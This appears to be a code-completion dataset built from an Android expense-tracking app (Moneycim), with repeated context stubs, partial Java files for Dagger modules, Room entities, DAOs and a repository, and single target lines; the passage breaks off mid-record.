// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class,
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule; package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class,
FragmentBuilder.class,
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class, FragmentBuilder.class,
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule; package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class, FragmentBuilder.class,
DataModule.class,
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule;
package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class, FragmentBuilder.class, DataModule.class, ViewModelModule.class })
// Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/ActivityBuilder.java // @Module // public abstract class ActivityBuilder { // // @ActivityScope // @ContributesAndroidInjector // abstract MainActivity mainActivity(); // // @ActivityScope // @ContributesAndroidInjector // abstract OcrCaptureActivity ocrCaptureActivity(); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/DataModule.java // @Module // public class DataModule { // // @Singleton // @Provides // AppDatabase provideAppDatabase(Application application){ // return Room.databaseBuilder(application, AppDatabase.class, "app_database") // .allowMainThreadQueries().addCallback(new RoomDatabase.Callback() { // @Override // public void onCreate(@NonNull SupportSQLiteDatabase db) { // super.onCreate(db); // String query = "INSERT INTO SPENDING_GROUP VALUES ('1', 'Gas'), ('2', 'Food'), ('3', 'Clothes')"; // db.execSQL(query); // } // // @Override // public void onOpen(@NonNull SupportSQLiteDatabase db) { // super.onOpen(db); // } // }) // .build(); // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java // @Module // public abstract class AppModule { // // @Binds // @Singleton // abstract Application application(MoneycimApp app); // } // // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/FragmentBuilder.java // @Module // public abstract class FragmentBuilder { // // @FragmentScope // @ContributesAndroidInjector // abstract SpendingListFragment spendingListFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract AddAndEditSpendingFragment addAndEditSpendingFragment(); // // @FragmentScope // @ContributesAndroidInjector // abstract TotalSpendingQuantityFragment totalSpendingQuantityFragment(); // } // // Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/AppComponent.java import com.vsahin.moneycim.Di.Modules.ActivityBuilder; import com.vsahin.moneycim.Di.Modules.DataModule; import com.vsahin.moneycim.Di.Modules.AppModule; import com.vsahin.moneycim.Di.Modules.FragmentBuilder; import com.vsahin.moneycim.Di.Modules.ViewModelModule; import com.vsahin.moneycim.MoneycimApp; import javax.inject.Singleton; import dagger.Component; import dagger.android.AndroidInjector; import dagger.android.support.AndroidSupportInjectionModule; package com.vsahin.moneycim.Di; /** * Created by Volkan Şahin on 18.08.2017. */ @Singleton @Component(modules = { AndroidSupportInjectionModule.class, AppModule.class, ActivityBuilder.class, FragmentBuilder.class, DataModule.class, ViewModelModule.class })
interface AppComponent extends AndroidInjector<MoneycimApp> {
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/Converters.java // public class Converters { // @TypeConverter // public static Date fromTimestamp(Long value) { // return value == null ? null : new Date(value); // } // // @TypeConverter // public static Long dateToTimestamp(Date date) { // return date == null ? null : date.getTime(); // } // }
import androidx.room.ColumnInfo; import androidx.room.Entity; import androidx.room.ForeignKey; import androidx.room.PrimaryKey; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Database.Converters; import java.io.Serializable; import java.util.Date;
package com.vsahin.moneycim.Model.Entity; /** * Created by Volkan Şahin on 18.08.2017. */ @Entity(tableName = "spending") public class RawSpending implements Serializable { @PrimaryKey(autoGenerate = true) @ColumnInfo(name = "id") public int id; @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") @ColumnInfo(name = "group_id") private int groupId;
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/Converters.java // public class Converters { // @TypeConverter // public static Date fromTimestamp(Long value) { // return value == null ? null : new Date(value); // } // // @TypeConverter // public static Long dateToTimestamp(Date date) { // return date == null ? null : date.getTime(); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java import androidx.room.ColumnInfo; import androidx.room.Entity; import androidx.room.ForeignKey; import androidx.room.PrimaryKey; import androidx.room.TypeConverters; import com.vsahin.moneycim.Model.Database.Converters; import java.io.Serializable; import java.util.Date; package com.vsahin.moneycim.Model.Entity; /** * Created by Volkan Şahin on 18.08.2017. */ @Entity(tableName = "spending") public class RawSpending implements Serializable { @PrimaryKey(autoGenerate = true) @ColumnInfo(name = "id") public int id; @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") @ColumnInfo(name = "group_id") private int groupId;
@TypeConverters(Converters.class)
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // }
import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import java.util.List;
package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingGroupDao { @Query("SELECT * FROM SPENDING_GROUP")
// Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Dao/SpendingGroupDao.java import androidx.lifecycle.LiveData; import androidx.room.Dao; import androidx.room.Insert; import androidx.room.Query; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import java.util.List; package com.vsahin.moneycim.Model.Dao; /** * Created by Volkan Şahin on 18.08.2017. */ @Dao public interface SpendingGroupDao { @Query("SELECT * FROM SPENDING_GROUP")
LiveData<List<SpendingGroup>> getAllSpendingGroups();
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // }
import android.app.Application; import com.vsahin.moneycim.MoneycimApp; import com.vsahin.moneycim.ViewModelFactory; import javax.inject.Singleton; import androidx.lifecycle.ViewModelProvider; import dagger.Binds; import dagger.Module;
package com.vsahin.moneycim.Di.Modules; /** * Created by Volkan Şahin on 18.08.2017. */ @Module public abstract class AppModule { @Binds @Singleton
// Path: app/src/main/java/com/vsahin/moneycim/MoneycimApp.java // public class MoneycimApp extends DaggerApplication { // @Override // protected AndroidInjector<? extends DaggerApplication> applicationInjector() { // return DaggerAppComponent.builder().create(this); // } // } // Path: app/src/main/java/com/vsahin/moneycim/Di/Modules/AppModule.java import android.app.Application; import com.vsahin.moneycim.MoneycimApp; import com.vsahin.moneycim.ViewModelFactory; import javax.inject.Singleton; import androidx.lifecycle.ViewModelProvider; import dagger.Binds; import dagger.Module; package com.vsahin.moneycim.Di.Modules; /** * Created by Volkan Şahin on 18.08.2017. */ @Module public abstract class AppModule { @Binds @Singleton
abstract Application application(MoneycimApp app);
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository {
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // } // Path: app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData; package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository {
private final AppDatabase appDatabase;
volkansahin45/Moneycim
app/src/main/java/com/vsahin/moneycim/Model/Repository/SpendingRepository.java
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "group_id") // private int groupId; // // @ColumnInfo(name = "group_name") // private String groupName; // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Pojo/Spending.java // public class Spending { // // @Embedded // private RawSpending rawSpending; // // @ColumnInfo(name = "group_name") // private String groupName; // // public RawSpending getRawSpending() { // return rawSpending; // } // // public void setRawSpending(RawSpending spending) { // this.rawSpending = spending; // } // // public String getGroupName() { // return groupName; // } // // public void setGroupName(String groupName) { // this.groupName = groupName; // } // // public boolean isSame(Spending s1){ // return s1.getRawSpending().getDescription().equals(this.getRawSpending().getDescription()) // && s1.getRawSpending().getQuantity().equals(this.getRawSpending().getQuantity()) // && s1.getRawSpending().getGroupId() == this.getRawSpending().getGroupId() // && s1.getGroupName().equals(this.getGroupName()); // // } // }
import com.vsahin.moneycim.Model.Database.AppDatabase; import com.vsahin.moneycim.Model.Entity.RawSpending; import com.vsahin.moneycim.Model.Entity.SpendingGroup; import com.vsahin.moneycim.Model.Pojo.Spending; import java.util.List; import javax.inject.Inject; import javax.inject.Singleton; import androidx.lifecycle.LiveData;
package com.vsahin.moneycim.Model.Repository; /** * Created by Volkan Şahin on 17.08.2017. */ @Singleton public class SpendingRepository { private final AppDatabase appDatabase; @Inject public SpendingRepository(AppDatabase appDatabase) { this.appDatabase = appDatabase; }
// Path: app/src/main/java/com/vsahin/moneycim/Model/Database/AppDatabase.java // @Database(version = 1, entities = {RawSpending.class, SpendingGroup.class}) // @TypeConverters({Converters.class}) // public abstract class AppDatabase extends RoomDatabase{ // // public abstract SpendingDao spendingDao(); // public abstract SpendingGroupDao spendingGroupDao(); // // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/RawSpending.java // @Entity(tableName = "spending") // public class RawSpending implements Serializable { // // @PrimaryKey(autoGenerate = true) // @ColumnInfo(name = "id") // public int id; // // @ForeignKey(entity = SpendingGroup.class, parentColumns = "group-id", childColumns = "group-id") // @ColumnInfo(name = "group_id") // private int groupId; // // @TypeConverters(Converters.class) // @ColumnInfo(name = "date") // private Date date; // // @ColumnInfo(name = "quantity") // private Double quantity; // // @ColumnInfo(name = "description") // private String description; // // public int getId() { // return id; // } // // public int getGroupId() { // return groupId; // } // // public void setGroupId(int groupId) { // this.groupId = groupId; // } // // public Date getDate() { // return date; // } // // public void setDate(Date date) { // this.date = date; // } // // public Double getQuantity() { // return quantity; // } // // public void setQuantity(Double quantity) { // this.quantity = quantity; // } // // public String getDescription() { // return description; // } // // public void setDescription(String description) { // this.description = description; // } // } // // Path: app/src/main/java/com/vsahin/moneycim/Model/Entity/SpendingGroup.java // @Entity(tableName = "spending_group") // public class SpendingGroup { // // 